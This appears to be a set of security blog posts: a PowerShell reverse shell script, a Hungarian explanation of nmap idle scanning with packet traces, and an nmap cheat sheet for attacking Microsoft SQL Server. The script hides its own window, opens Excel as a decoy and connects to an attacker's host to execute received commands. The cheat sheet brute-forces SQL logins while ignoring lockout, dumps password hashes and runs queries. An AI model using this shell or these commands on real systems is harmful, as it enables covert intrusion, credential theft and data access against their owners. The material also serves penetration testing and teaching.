Powershell reverse shell example code

Add-Type -Name win -MemberDefinition ‘[DllImport(“user32.dll”)] public static extern bool ShowWindow(int handle, int state);’ -Namespace native
[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle,0)
Invoke-Item “C:\Program Files\Microsoft Office\Office15\excel.exe”
Set-Location c:\windows\system32
$client = New-Object System.Net.Sockets.TCPClient(“public_IP”,public_port);
$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + “PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close()

Of’course change the public_IP and public_port variable, and Invoke-Item application path!

Idlescan, és ami mögötte van #1

Első körben az nmap küld egy halom SYN/ACK keretet az eszköznek (amiből majd a zombie gép lesz), és figyeli az RST válaszokat (itt az IPID értéke az érdekes, ennek következetesen növekvőnek kell lennie). Ekkor még nincs semmiféle kommunikáció a célgéppel!
iz_1A trace kimenet, figyeljük meg az IPID értékének növekedését (jobb olvashatóság miatt formáztam a kimenetet egy kicsit):

Source           Destination      Summary 
-----------------------------------------------------------------------------------------
[192.168.0.10]   [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.10]  LEN=20 ID=1592
[192.168.0.100]  [192.168.0.10]   IP:  D=[192.168.0.10]  S=[192.168.0.100] LEN=20 ID=0994 <--
[192.168.0.10]   [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.10]  LEN=20 ID=2012
[192.168.0.100]  [192.168.0.10]   IP:  D=[192.168.0.10]  S=[192.168.0.100] LEN=20 ID=0995 <--
[192.168.0.10]   [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.10]  LEN=20 ID=9228
[192.168.0.100]  [192.168.0.10]   IP:  D=[192.168.0.10]  S=[192.168.0.100] LEN=20 ID=0996 <--
[192.168.0.10]   [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.10]  LEN=20 ID=5056
[192.168.0.100]  [192.168.0.10]   IP:  D=[192.168.0.10]  S=[192.168.0.100] LEN=20 ID=0997 <--
[192.168.0.10]   [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.10]  LEN=20 ID=6306
[192.168.0.100]  [192.168.0.10]   IP:  D=[192.168.0.10]  S=[192.168.0.100] LEN=20 ID=0998 <--
[192.168.0.10]   [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.10]  LEN=20 ID=1468
[192.168.0.100]  [192.168.0.10]   IP:  D=[192.168.0.10]  S=[192.168.0.100] LEN=20 ID=0999 <--

Miután a forrásgép és a leendő zombie gép közt a kommunikáció sikeres volt, az NMAP meghamisítja az IP címet a célállomás részére, és kommunikációt még 4 alkalommal megismétli. A trace filet megvizsgálva észrevehetjük, hogy a forrás cím hamisításra került (a célgép IP címét vette fel), és erre az IP címre válaszol a zombie gép! A forrásgép SOHA nem látja a visszakapott válaszokat!
iz_2

Source           Destination      Summary 
-----------------------------------------------------------------------------------------
[192.168.0.200]  [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.200] LEN=20 ID=3940
[192.168.0.100]  [192.168.0.200]  IP:  D=[192.168.0.200] S=[192.168.0.100] LEN=20 ID=1000 <--
[192.168.0.200]  [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.200] LEN=20 ID=8034
[192.168.0.100]  [192.168.0.200]  IP:  D=[192.168.0.200] S=[192.168.0.100] LEN=20 ID=1001 <--
[192.168.0.200]  [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.200] LEN=20 ID=3069
[192.168.0.100]  [192.168.0.200]  IP:  D=[192.168.0.200] S=[192.168.0.100] LEN=20 ID=1002 <--
[192.168.0.200]  [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.200] LEN=20 ID=3373
[192.168.0.100]  [192.168.0.200]  IP:  D=[192.168.0.200] S=[192.168.0.100] LEN=20 ID=1003 <--

Mivel a forrásgéphez nem érkeznek meg a csomagok, az nmap nem tudja megállapítani, hogy a hamisítás megfelelően működött. Ezért az nmap lekérdezi a zombie gépet, hogy frissítse az IPID értéket:
iz_3

Source           Destination      Summary 
---------------------------------------------------------------------------------------
[192.168.0.10]   [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.10] LEN=20 ID=6267
[192.168.0.100]  [192.168.0.10]   IP:  D=[192.168.0.10] S=[192.168.0.100] LEN=20 ID=1004 <--

Az IPID értéke 1004, amire vártunk 😀 Most, hogy az IPID elemzés befejeződött, az nmap elkezdheti a célgép szkennelését.

Quick SQL Server pentest with NMAP

SQL server info & empty password with username=sa check & ms-sql-dac test:

sudo nmap -d  -p 1433 –script ms-sql-info,ms-sql-empty-password 192.168.0.100 
sudo nmap -sU -p 1434 –script ms-sql-dac 192.168.0.100

Brute force usernames and passwords OR to check login success or not:

sudo nmap -p 1433 –script ms-sql-brute –script-args userdb=”/home/user/customuser.txt”,passdb=”/home/user/passsql.txt” 192.168.0.100

Server info + brute:

sudo nmap -p 1433 –script ms-sql-info,ms-sql-brute –script-args ms-sql-brute.ignore-lockout,userdb=”/home/user/customuser.txt”,passdb=”/home/user/passsql.txt” 192.168.0.11

See the configuration file and databases, to dump password users&hashes, to list databases and its ouwners list:

sudo nmap -p 1433 <ip> –script ms-sql-dump-hashes
sudo nmap -p 1433 –script ms-sql-dump-hashes,ms-sql-hasdbaccess,ms-sql-config –script-args mssql.username=UNAME,mssql.password=UPWD 192.168.0.100
sudo nmap -p 1433 –script ms-sql-dump-hashes,ms-sql-hasdbaccess,ms-sql-config –script-args mssql.username=UNAME,mssql.password=UPWD,ms-sql-config.showall 192.168.0.100

Execute custom QUERIES:

sudo nmap -p 1433 –script ms-sql-query –script-args mssql.username=UNAME,mssql.password=UPWD,ms-sql-query.query=”SELECT @@version version” 192.168.220.123
sudo nmap -p 1433 –script ms-sql-query –script-args mssql.username=UNAME,mssql.password=UPWD,mssql.database=tempdb,ms-sql-query.query=”SELECT * FROM master..syslogins” 192.168.220.123

Listing  the tables:

sudo nmap -p 1433 –script ms-sql-tables –script-args  ms-sql-tables.maxdb=0,ms-sql-tables.maxtables=0,mssql.username=UNAME,mssql.password=UPWD 192.168.220.123

Finding SQL server in broadcast network:

nmap –script broadcast-ms-sql-discover,ms-sql-info –script-args=newtargets
nmap –script broadcast-ms-sql-discover